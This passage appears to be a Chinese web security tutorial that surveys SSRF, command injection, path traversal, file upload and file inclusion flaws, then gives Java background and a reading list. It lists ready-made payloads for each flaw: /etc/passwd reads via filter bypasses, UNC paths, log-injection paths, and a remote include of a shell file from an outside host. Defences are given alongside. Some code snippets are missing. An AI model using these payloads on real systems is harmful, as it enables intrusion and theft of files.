伺服器端獲得URL參數,進行第一次DNS解析,獲得了一個非内網的IP

對于獲得的IP進行判斷,發現為非黑名單IP,則通過驗證

伺服器端對于URL進行通路,由于DNS伺服器設定的TTL為0,是以再次進行DNS解析,這一次DNS伺服器傳回的是内網位址。

由于已經繞過驗證,是以伺服器端傳回通路内網資源的結果。

利用IPv6

有些服務沒有考慮IPv6的情況,但是内網又支援IPv6,則可以使用IPv6的本地IP如 <code>[::]</code> <code>0000::1</code> 或IPv6的内網域名來繞過過濾。

利用IDN

一些網絡通路工具如Curl等是支援國際化域名(Internationalized Domain Name,IDN)的,國際化域名又稱特殊字元域名,是指部分或完全使用特殊的文字或字母組成的網際網路域名。

在這些字元中,部分字元會在通路時做一個等價轉換,例如 <code>ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ</code> 和 <code>example.com</code> 等同。利用這種方式,可以用 <code>① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩</code> 等字元繞過内網限制。

可能的利用點

内網服務

Apache Hadoop遠端指令執行

axis2-admin部署Server指令執行

Confluence SSRF

counchdb WEB API遠端指令執行

dict

docker API遠端指令執行

Elasticsearch引擎Groovy腳本指令執行

ftp / ftps(FTP爆破)

glassfish任意檔案讀取和war檔案部署間接指令執行

gopher

HFS遠端指令執行

http、https

imap/imaps/pop3/pop3s/smtp/smtps(爆破郵件使用者名密碼)

Java調試接口指令執行

JBOSS遠端Invoker war指令執行

Jenkins Scripts接口指令執行

ldap

mongodb

php_fpm/fastcgi 指令執行

rtsp - smb/smbs(連接配接SMB)

sftp

ShellShock 指令執行

Struts2 指令執行

telnet

tftp(UDP協定擴充)

tomcat指令執行

WebDav PUT上傳任意檔案

WebSphere Admin可部署war間接指令執行

zentoPMS遠端指令執行

Redis利用

寫ssh公鑰

寫crontab

寫WebShell

Windows寫啟動項

主從複制加載 .so 檔案

主從複制寫無損檔案

雲主機

在AWS、Google等雲環境下,通過通路雲環境的中繼資料API或管理API,在部分情況下可以實作敏感資訊等效果。

防禦方式

過濾傳回的資訊

統一錯誤資訊

限制請求的端口

禁止不常用的協定

對DNS Rebinding,考慮使用DNS緩存或者Host白名單

指令注入通常因為指Web應用在伺服器上拼接系統指令而造成的漏洞。

該類漏洞通常出現在調用外部程式完成一些功能的情景下。比如一些Web管理界面的配置主機名/IP/掩碼/網關、檢視系統資訊以及關閉重新開機等功能,或者一些站點提供如ping、nslookup、提供發送郵件、轉換圖檔等功能都可能出現該類漏洞。

常見危險函數

PHP

system

exec

passthru

shell_exec

popen

proc_open

Python

subprocess.call

spawn

Java

java.lang.Runtime.getRuntime().exec(command)

常見注入方式

分号分割

<code>||</code> <code>&amp;&amp;</code> <code>&amp;</code> 分割

<code>|</code> 管道符

<code>\r\n</code> <code>%d0%a0</code> 換行

反引号解析

<code>$()</code> 替換

無回顯技巧

bash反彈shell

DNS帶外資料

http帶外

無帶外時利用 <code>sleep</code> 或其他邏輯構造布爾條件

常見繞過方式

空格繞過

<code>&lt;</code> 符号 <code>cat&lt;123</code>

<code>\t</code> / <code>%09</code>

<code>${IFS}</code> 其中{}用來截斷,比如cat\(IFS2會被認為IFS2是變量名。另外,在後面加個\)可以起到截斷的作用,一般用$9,因為$9是目前系統shell程序的第九個參數的持有者,它始終為空字元串

黑名單繞過

<code>a=l;b=s;$a$b</code>

base64 <code>echo "bHM=" | base64 -d</code>

<code>/?in/?s</code> =&gt; <code>/bin/ls</code>

連接配接符 <code>cat /etc/pass'w'd</code>

未定義的初始化變量 <code>cat$x /etc/passwd</code>

長度限制繞過

上面的方法為通過指令行重定向寫入指令,接着通過ls按時間排序把指令寫入檔案,最後執行 直接在Linux終端下執行的話,建立檔案需要在重定向符号之前添加指令 這裡可以使用一些諸如w,[之類的短指令,(使用ls /usr/bin/?檢視) 如果不添加指令,需要Ctrl+D才能結束,這樣就等于标準輸入流的重定向 而在php中 , 使用 shell_exec 等執行系統指令的函數的時候 , 是不存在标準輸入流的,是以可以直接建立檔案

常用符号

指令分隔符

<code>%0a</code> / <code>%0d</code> / <code>\n</code> / <code>\r</code>

<code>;</code>

<code>&amp;</code> / <code>&amp;&amp;</code>

通配符

<code>*</code> 0到無窮個任意字元

<code>?</code> 一個任意字元

<code>[ ]</code> 一個在括号内的字元,e.g. <code>[abcd]</code>

<code>[ - ]</code> 在編碼順序内的所有字元

<code>[^ ]</code> 一個不在括号内的字元

不使用時禁用相應函數

盡量不要執行外部的應用程式或指令

做輸入的格式檢查

轉義指令中的所有shell元字元

目錄穿越(也被稱為目錄周遊/directory traversal/path traversal)是通過使用 <code>../</code> 等目錄控制序列或者檔案的絕對路徑來通路存儲在檔案系統上的任意檔案和目錄,特别是應用程式源代碼、配置檔案、重要的系統檔案等。

攻擊載荷

URL參數

<code>../</code>

<code>..\</code>

<code>..;/</code>

Nginx Off by Slash

<code>https://vuln.site.com/files../</code>

UNC Bypass

<code>\\localhost\c$\windows\win.ini</code>

單次替換

URL編碼

16位Unicode編碼

超長UTF-8編碼

在進行檔案操作相關的API前,應該對使用者輸入做過濾。較強的規則下可以使用白名單,僅允許純字母或數字字元等。

若規則允許的字元較多,最好使用目前作業系統路徑規範化函數規範化路徑後,進行過濾,最後再進行相關調用。

考慮讀取可能有敏感資訊的檔案

使用者目錄下的敏感檔案

應用的配置檔案

應用的日志檔案

站點目錄下的敏感檔案

特殊的備份檔案

Python的Cache

檔案類型檢測繞過

更改請求繞過

有的站點僅僅在前端檢測了檔案類型,這種類型的檢測可以直接修改網絡請求繞過。 同樣的,有的站點在後端僅檢查了HTTP Header中的資訊,比如 <code>Content-Type</code> 等,這種檢查同樣可以通過修改網絡請求繞過。

Magic檢測繞過

有的站點使用檔案頭來檢測檔案類型,這種檢查可以在Shell前加入對應的位元組以繞過檢查。幾種常見的檔案類型的頭位元組如下表所示

類型

二進制值

JPG

FF D8 FF E0 00 10 4A 46 49 46

GIF

47 49 46 38 39 61

PNG

89 50 4E 47

TIF

49 49 2A 00

BMP

42 4D

字尾繞過

部分服務僅根據字尾、上傳時的資訊或Magic Header來判斷檔案類型,此時可以繞過。

php由于曆史原因,部分解釋器可能支援符合正則 <code>/ph(p[2-7]?|t(ml)?)/</code> 的字尾,如 <code>php</code> / <code>php5</code> / <code>pht</code> / <code>phtml</code> / <code>shtml</code> / <code>pwml</code> / <code>phtm</code> 等 可在禁止上傳php檔案時測試該類型。

jsp引擎則可能會解析 <code>jspx</code> / <code>jspf</code> / <code>jspa</code> / <code>jsw</code> / <code>jsv</code> / <code>jtml</code> 等字尾,asp支援 <code>asa</code> / <code>asax</code> / <code>cer</code> / <code>cdx</code> / <code>aspx</code> / <code>ascx</code> / <code>ashx</code> / <code>asmx</code> / <code>asp{80-90}</code> 等字尾。

除了這些繞過,其他的字尾同樣可能帶來問題,如 <code>vbs</code> / <code>asis</code> / <code>sh</code> / <code>reg</code> / <code>cgi</code> / <code>exe</code> / <code>dll</code> / <code>com</code> / <code>bat</code> / <code>pl</code> / <code>cfc</code> / <code>cfm</code> / <code>ini</code> 等。

系統命名繞過

在Windows系統中,上傳 <code>index.php.</code> 會重命名為 <code>.</code> ,可以繞過字尾檢查。 也可嘗試 <code>index.php%20</code> , <code>index.php:1.jpg</code> <code>index.php::$DATA</code> 等。 在Linux系統中,可以嘗試上傳名為 <code>index.php/.</code> 或 <code>./aa/../index.php/.</code> 的檔案

.user.ini

在php執行的過程中,除了主 <code>php.ini</code> 之外,PHP 還會在每個目錄下掃描 INI 檔案,從被執行的 PHP 檔案所在目錄開始一直上升到 web 根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被執行的 PHP 檔案在 web 根目錄之外,則隻掃描該目錄。 <code>.user.ini</code> 中可以定義除了PHP_INI_SYSTEM以外的模式的選項,故可以使用 <code>.user.ini</code> 加上非php字尾的檔案構造一個shell,比如 <code>auto_prepend_file=01.gif</code> 。

WAF繞過

有的waf在編寫過程中考慮到性能原因,隻處理一部分資料,這時可以通過加入大量垃圾資料來繞過其處理函數。

另外,Waf和Web系統對 <code>boundary</code> 的處理不一緻,可以使用錯誤的 <code>boundary</code> 來完成繞過。

競争上傳繞過

有的伺服器采用了先儲存,再删除不合法檔案的方式,在這種伺服器中,可以反複上傳一個會生成Web Shell的檔案并嘗試通路,多次之後即可獲得Shell。

攻擊技巧

Apache重寫GetShell

Apache可根據是否允許重定向考慮上傳.htaccess

内容為

就可以用png或者其他字尾的檔案做php腳本了

軟連結任意讀檔案

上傳的壓縮封包件會被解壓的檔案時,可以考慮上傳含符号連結的檔案 若伺服器沒有做好防護,可實作任意檔案讀取的效果

防護技巧

使用白名單限制上傳檔案的類型

使用更嚴格的檔案類型檢查方式

限制Web Server對上傳檔案夾的解析

基礎

常見的檔案包含漏洞的形式為 ``

考慮常用的幾種包含方式為

同目錄包含 <code>file=.htaccess</code>

目錄周遊 <code>?file=../../../../../../../../../var/lib/locate.db</code>

日志注入 <code>?file=../../../../../../../../../var/log/apache/error.log</code>

利用 <code>/proc/self/environ</code>

其中日志可以使用SSH日志或者Web日志等多種日志來源測試

觸發Sink

繞過技巧

常見的應用在檔案包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式

url編碼繞過

如果WAF中是字元串比對,可以使用url多次編碼的方式可以繞過

特殊字元繞過

某些情況下,讀檔案支援使用Shell通配符,如 <code>?</code> <code>*</code> 等

url中 使用 <code>?</code> <code>#</code> 可能會影響include包含的結果

某些情況下,unicode編碼不同但是字形相近的字元有同一個效果

%00截斷

幾乎是最常用的方法,條件是 <code>magic_quotes_gpc</code> 關閉,而且php版本小于5.3.4。

長度截斷

Windows上的檔案名長度和檔案路徑有關。具體關系為:從根目錄計算,檔案路徑長度最長為259個bytes。

msdn定義 <code>#define MAX_PATH 260</code>,其中第260個字元為字元串結尾的 <code>\0</code> ,而linux可以用getconf來判斷檔案名長度限制和檔案路徑長度限制。

擷取最長檔案路徑長度:getconf PATH_MAX /root 得到4096 擷取最長檔案名:getconf NAME_MAX /root 得到255

那麼在長度有限的時候,<code>././././</code> (n個) 的形式就可以通過這個把路徑爆掉

在php代碼包含中,這種繞過方式要求php版本 &lt; php 5.2.8

僞協定繞過

遠端包含: 要求 <code>allow_url_fopen=On</code> 且 <code>allow_url_include=On</code> , payload為 <code>?file=[http|https|ftp]://websec.wordpress.com/shell.txt</code> 的形式

PHP input: 把payload放在POST參數中作為包含的檔案,要求 <code>allow_url_include=On</code> ,payload為 <code>?file=php://input</code> 的形式

Base64: 使用Base64僞協定讀取檔案,payload為 <code>?file=php://filter/convert.base64-encode/resource=index.php</code> 的形式

data: 使用data僞協定讀取檔案,payload為 <code>?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=</code> 的形式,要求 <code>allow_url_include=On</code>

協定繞過

<code>allow_url_fopen</code> 和 <code>allow_url_include</code> 主要是針對 <code>http</code> <code>ftp</code> 兩種協定起作用,是以可以使用SMB、WebDav協定等方式來繞過限制。

XXE,模闆注入,Xpath注入,邏輯漏洞/業務漏洞,配置和政策安全,中間件,Web Cache欺騙攻擊,HTTP請求走私

這裡我比較熟悉的的Java系列,主要介紹一下Java相關的内容。

JVM

JVM是Java平台的核心,以機器代碼來實作,為程式執行提供了所需的所有基本功能,例如位元組碼解析器、JIT編譯器、垃圾收集器等。由于它是機器代碼實作的,其同樣受到二進制檔案受到的攻擊。

JCL是JVM自帶的一個标準庫,含有數百個系統類。預設情況下,所有系統類都是可信任的,且擁有所有的特權。

JDK

Java開發工具包(Java Development Kit,JDK)是Oracle公司釋出的Java平台,有标準版(Standard Edition,Java SE)、企業版(Enterprise Edition,Java EE)等版本。

在最開始,JDK以二進制形式釋出,而後在2006年11月17日,Sun以GPL許可證釋出了Java的源代碼,于是之後出現了OpenJDK。

JMX

JMX(Java Management Extensions,Java管理擴充)是一個為應用程式植入管理功能的架構,主要為管理和監視應用程式、系統對象、裝置和面向服務的網絡提供相應的工具。JMX可以遠端讀取系統中的值、調用系統中的方法。在JMX未配置身份驗證或JDK版本過低存在反序列化漏洞時,可能會導緻遠端代碼執行。

JNI

JNI (Java Native Interface) 是Java提供的和其他語言互動的接口。

JNA

JNA (Java Native Access) 是在JNI上的架構,用于自動實作Java接口到native function的映射,而不需要另外編寫JNI代碼。

OGNL

OGNL(Object-Graph Navigation Language,對象導航語言)是一種功能強大的表達式語言,通過簡單一緻的表達式文法,提供了存取對象的任意屬性、調用對象的方法、周遊整個對象的結構圖、實作字段類型轉化等功能。

Struts2中使用了OGNL,提供了一個ValueStack類。ValueStack分為root和context兩部分。root中是目前的action對象,context中是ActionContext裡面所有的内容。

IO模型

Java 對作業系統的各種 IO 模型進行了封裝,形成了不同的API。

BIO

BIO (Blocking I/O) 是同步阻塞I/O模式,資料的讀取寫入必須阻塞在一個線程内等待其完成。

NIO

NIO (New I/O) 是一種同步非阻塞的I/O模型,在Java 1.4中引入,對應 java.nio 包,提供了 Channel , Selector,Buffer等抽象。

AIO

AIO (Asynchronous I/O) 在 Java 7 中引入,是NIO的改進版,是異步非阻塞的IO模型,基于事件和回調機制實作。

反射

Java反射機制是指在運作狀态中,對于任意一個類,都能夠知道這個類的所有屬性和方法;對于任意一個對象,都能夠調用它的任意方法和屬性;這種動态擷取資訊以及動态調用對象方法的功能被稱為語言的反射機制。

類名

用途

Class

類的實體

Field

類的成員變量

Method

類的方法

Constructor

類的構造方法

整體來說,Java中類的生命周期如下:加載 (Loading) -&gt; [ 連接配接 (Linking) : 驗證 (Verification) -&gt; 準備 (Perparation) -&gt; 解析 (Resolutin) ] -&gt; 初始化 (Initialization) -&gt; 使用 (Using) -&gt; 解除安裝 (Unloading) 。

加載過程分為三步:

通過全限定類名來擷取定義此類的二進制位元組流

将位元組流所代表的靜态存儲結構轉化為方法區的運作時資料結構

在記憶體中生成代表這個類的 <code>java.lang.Class</code> 對象,作為方法區這個類的各種資料的通路入口

驗證階段主要用于確定 Class 檔案的位元組流符合目前虛拟機的要求,分為幾步:

判斷檔案格式:是否以 <code>0xCAFEBABE</code> 開始,主次版本号是否在處理範圍内

中繼資料驗證

位元組碼驗證

符号引用驗證

<code>-Xverify:none</code> 關閉類加載時的驗證措施

我會加油更新的!

Scaling webapps for newbs

Struts

Struts Examples

Eclipse Jetty

SpringBootVulExploit SpringBoot 相關漏洞學習資料,利用方法和技巧合集,黑盒安全評估 checklist

Java Sandbox Escape

WebLogic反序列化漏洞漫談

從WebLogic看反序列化漏洞的利用與防禦

JSON反序列化之殇

Shiro元件漏洞與攻擊鍊分析

Application Security With Apache Shiro

Shiro安全架構【快速入門】

Shiro 實戰(四) - 過濾器機制

ognl

Java SE Security Guide

Marshalling Pickles how deserializing objects can ruin your day

AppSecCali 2015: Marshalling Pickles

More serialization hacks with AnnotationInvocationHandler

Pure JRE 8 RCE Deserialization gadget

Breaking Defensive Serialization

Java反序列化漏洞從入門到深入

Java反序列化漏洞通用利用分析

JRE8u20反序列化漏洞分析

淺析Java序列化和反序列化

Commons Collections Java反序列化漏洞深入分析

FAR SIDES OF JAVA REMOTE PROTOCOLS

JDK8u20反序列化漏洞新型PoC思路及具體實作

Pwn a CTF Platform with Java JRMP Gadget

漫談 JEP 290

Java序列化【草案一】

Java 14 Object Serialization Specification

Java RMI Release Notes for JDK 6

深入了解Java類加載

Java Release Notes for JDK 7

Exploit with PHP Protocols

lfi cheat sheet

構造優質上傳漏洞Fuzz字典

GitHub 的 Restful HTTP API 設計分解

https://websec.readthedocs.io/zh/latest/basic/history.html

OWASP

NT Web Technology Vulnerabilities

History of CVE

history of some vulnerabilities and exploit techniques

securitydigest

Early Computer Security Papers: Ongoing Collection

Security Mailing List Archive

Computer Security Technology Planning Study

Smashing The Stack For Fun And Profit

Happy 10th birthday Cross-Site Scripting!

About Microsoft SDL

ABOUT ZDI

Open-source intelligence

Runtime Application Self-protection (RASP)

ZMap: Fast Internet-Wide Scanning and its Security Applications

A Search Engine Backed by Internet-Wide Scanning

Black hat About

The DEF CON Story

Reflections on Trusting Trust

What is DevSecOps?

DHCP Wiki

(https://tools.ietf.org/html/rfc4436)

sqlmap time based inject 分析

SQLInjectionWiki

常見資料庫寫入Webshell彙總

MSSQL資料庫攻擊實戰指北

SQL注入ByPass的一些小技巧

Waf Bypass之道

MySQL Bypass Wiki

NoSQL注入的分析和緩解

NoSQL注入

demo

Wiping Out CSRF

Neat tricks to bypass CSRF protection

SSRF漏洞分析與利用

A New Era Of SSRF

php ssrf technique

談一談如何在Python開發中拒絕SSRF漏洞

SSRF Tips

SSRF in PHP

Directory traversal by portswigger

Path Traversal by OWASP

path normalization

Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out defcon

繼續閱讀